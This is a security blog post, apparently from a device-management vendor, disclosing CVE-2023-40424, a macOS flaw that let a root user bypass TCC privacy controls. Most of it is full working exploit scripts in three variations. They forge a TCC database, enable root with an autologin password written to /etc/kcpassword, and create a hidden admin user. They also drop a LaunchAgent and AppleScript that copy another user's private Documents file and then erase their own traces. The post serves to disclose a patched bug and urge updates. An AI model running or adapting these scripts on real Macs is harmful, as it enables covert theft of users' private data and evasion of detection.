How Malware Can Bypass Transparency Consent and Control (CVE-2023-40424)
CVE-2023-40424 is a vulnerability that allows a root-level user to create a new user with a custom Transparency Consent and Control (TCC) database in macOS, which can then be used to access other users’ private data.
First discovered back in 2022, the vulnerability was fixed by Apple in 2023 in macOS Sonoma’s initial release. But it was not fixed in earlier versions of macOS—one more reason users and admins should update their Mac computers to Sonoma.
Wojciech Regula and I delivered a talk about this vulnerability at BlackHat Asia 2024. Here are the details.
CVE-2023-40424 Exploitation
Changing the user’s home directory is generally not allowed in macOS because it can allow an attacker to bypass the user-mode TCC daemon entirely, by creating a new TCC database in a new home directory and then redirecting the daemon to it.
This type of vulnerability was first found by Matt Shockley in 2020. Since then, several vulnerabilities emerged—including CVE-2020-27937 (Wojciech Regula), powerdir (Jonathan Bar Or), or CVE-2021-1784 and CVE-2021-30808 (Csaba Fitzl)—that resulted in changing that directory.
The location of the home directory is stored in the NFSHomeDirectory
user attribute. Modifying it requires kTCCServiceSystemPolicySysAdminFiles
TCC permissions.
When we create a new user, we can specify the NFSHomeDirectory
directory for that user, without any TCC access requirement. The issue was that when the new user logged in, that database was consumed by tccd
and the rules were applied globally. This meant that, if we had root-level access, we could set up a new user with a new TCC.db
and use those permissions to access the restricted files of other users.
There are a couple of ways to accomplish this.
CVE-2023-40424 Exploitation: Variation 1
Let’s exploit the vulnerability with the goal of gaining access to the user’s Documents folder; that setting can be controlled via the user’s TCC database. Our strategy will be the following:
- Create a custom
TCC.db
, with the content we want, in a custom location. - Copy this file to a directory of the root user (
/var/root
). - Move the file to
/var/root/Library/Application Support/com.apple.TCC/
. This location is not protected by TCC. - Enable the root user and auto-login by setting some preferences and creating the file
/etc/kcpassword
(which stores the password XOR-encrypted with7d895223d2bcddeaa3b91f
). - Create a script to copy the user’s Documents folder on login, then clean up after itself.
A bash script can accomplish all of these steps, one by one. We start with the first item, which is creating a custom TCC database:
#!/bin/zsh
echo "++ Creating new TCC database"
cat << EOF > /private/tmp/tccdump.sql
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',19);
CREATE TABLE policies ( id INTEGER NOT NULL PRIMARY KEY, bundle_id TEXT NOT NULL, uuid TEXT NOT NULL, display TEXT NOT NULL, UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy ( client TEXT NOT NULL, client_type INTEGER NOT NULL, policy_id INTEGER NOT NULL, PRIMARY KEY (client, client_type), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access_overrides ( service TEXT NOT NULL PRIMARY KEY);
CREATE TABLE expired ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, csreq BLOB, last_modified INTEGER NOT NULL , expired_at INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type));
CREATE TABLE IF NOT EXISTS "access" ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, auth_value INTEGER NOT NULL, auth_reason INTEGER NOT NULL, auth_version INTEGER NOT NULL, csreq BLOB, policy_id INTEGER, indirect_object_identifier_type INTEGER, indirect_object_identifier TEXT NOT NULL DEFAULT 'UNUSED', indirect_object_code_identity BLOB, flags INTEGER, last_modified INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type, indirect_object_identifier), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1578822650);
INSERT INTO access VALUES('kTCCServiceAppleEvents','com.apple.Terminal',0,2,3,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1606772944);
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
EOF
sqlite3 /private/tmp/TCC.db < /private/tmp/tccdump.sql
This script will create the default TCC.db
scheme and add two entries. The first entry allows Terminal to access the Documents folder; the second allows it to script the Finder. Finally, we use sqlite3
to create the database file using the crafted SQL dump.
Next, the script copies the database to its proper location (/var/root/Library/Application Support/com.apple.TCC/
) and enables the root user using dscl
:
echo "++ Copy TCC database"
mkdir -p /var/root/Library/Application\ Support/com.apple.TCC/
cp /private/tmp/TCC.db /var/root/Library/Application\ Support/com.apple.TCC/
Enabling the root user is done by creating a password:
echo "++ Enable root user"
/usr/bin/dscl . -passwd /Users/root password
Next, we enable autologin. This is necessary because we want our exploit to execute without user interaction:
echo "++ Enable AutoLogin"
/usr/bin/defaults write /Library/Preferences/com.apple.loginwindow autoLoginUser root
echo 0de82150a5d3af8ea3 > /etc/kcpassword
Autologin can be enabled by first setting a preference in com.apple.loginwindow
—namely the autoLoginUser
key—and then setting the password in the file /etc/kcpassword
. Here we have the XORed password of the user. The XOR key is fixed on macOS; it’s always 7d895223d2bcddeaa3b91f
.
Next, we set up a LaunchAgent, which will run a shell script when the user logs in, and an AppleScript to grab a protected file:
echo "++ Drop applescript"
cat << EOF > /var/root/copydocs.scpt
tell application "Finder"
copy file "Macintosh HD:Users:username:Documents:secret.txt" to folder "Macintosh HD:var:root:"
end tell
do shell script "rm /etc/kcpassword"
do shell script "rm /Library/Preferences/com.apple.loginwindow.plist"
do shell script "rm /var/root/Library/LaunchAgents/copydocs.plist"
do shell script "reboot"
EOF
echo "++ Drop LaunchAgent"
mkdir -p /var/root/Library/LaunchAgents
cat << EOF > /var/root/Library/LaunchAgents/copydocs.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/osascript</string>
<string>/var/root/copydocs.scpt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOF
echo "++ Now reboot"
reboot
This script will copy a file from the user’s documents, then clean up autologin, and finally reboot. We do that to restore the user and to fend off any suspicions about the login environment.
If we run this script, it will get the secret.txt file from the user.
CVE-2023-40424 Exploitation: Variation 2
Another way to achieve the same results would be to create a new user— using either sysadminctl
or dscl
—instead of enabling root. Before we create the new user, we will need to create their home directory and copy the TCC database. This is because as soon as the home directory is set, the TCC directory will become protected.
We won’t go through every single step again, but just show the differences from the previous method.
Our new user will be joeadmin
, and their home directory will be set to /usr/local/joeadmin
. First, we copy the database:
echo "++ Copy TCC database"
mkdir -p /usr/local/joeadmin/Library/Application\ Support/com.apple.TCC/
cp /private/tmp/TCC.db /usr/local/joeadmin/Library/Application\ Support/com.apple.TCC/
Next we create a new user and change ownership of the directories:
echo "++ Creating new user"
sysadminctl -addUser joeadmin -password Password01 -home /usr/local/joeadmin -admin
chown -R joeadmin:staff /usr/local/joeadmin
This creates the new user using sysadminctl
, but we could also use dscl
:
echo "++ Creating new user"
dscl . -create /Users/joeadmin
dscl . -create /Users/joeadmin UserShell /bin/zsh
dscl . -create /Users/joeadmin RealName "Joe Admin"
dscl . -create /Users/joeadmin UniqueID "510"
dscl . -create /Users/joeadmin PrimaryGroupID 20
dscl . -create /Users/joeadmin NFSHomeDirectory /usr/local/joeadmin
dscl . -passwd /Users/joeadmin password
dscl . -append /Groups/admin GroupMembership joeadmin
If we stopped here, there would still be a problem: On first login, the initial user setup steps through a bunch of settings screens (for Siri, iCloud, Restore, and so on). We don’t want this, because it would break autoexecution. But it can be disabled by adjusting preferences; we also set file permissions for these new files:
echo "++ Disable SetupAssistant at first login"
mkdir /usr/local/joeadmin/Library/Preferences
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist GestureMovieSeen none
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastSeenCloudProductVersion 12.1
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastPreLoginTasksPerformedVersion 12.1
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastPreLoginTasksPerformedBuild 21C52
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastSeenDiagnosticsProductVersion 12.1
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastSeenBuddyBuildVersion 21C52
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeAccessibility -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeAppearanceSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeApplePaySetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeActivationLock -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeCloudSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeePrivacy -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeScreenTime -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeSiriSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeSyncSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeSyncSetup2 -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeTrueTonePrivacy -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeTouchIDSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeiCloudLoginForStorageServices -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist MiniBuddyLaunchedPostMigration -bool FALSE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist MiniBuddyLaunchReason -bool FALSE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist MiniBuddyShouldLaunchToResumeSetup -bool FALSE
echo "++ Setting user ownership"
chown -R joeadmin:staff /usr/local/joeadmin
Otherwise, the steps are the same as in the first variation.
CVE-2023-40424 Exploitation: Variation 3
There’s one more way to create a custom TCC database for a new user. Everything is the same as in the variations above, except that we use the template directory to plant a new database:
echo "++ Copy TCC database to Templates"
mkdir -p /Library/User\ Template/Non_localized/Library/Application\ Support/com.apple.TCC
cp /private/tmp/TCC.db /Library/User\ Template/Non_localized/Library/Application\ Support/com.apple.TCC/
CVE-2023-40424: The Fix
Vulnerabilities like this, by their very nature, can't be fully detected or protected against; vendors must update their software.
Apple’s fix in macOS Sonoma is two-layered: First, the user-level TCC database will not grant you access to other users' private files. Second, a new TCC database will be created upon first login; thus, any previously created file will be deleted by the system.
About Kandji
Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.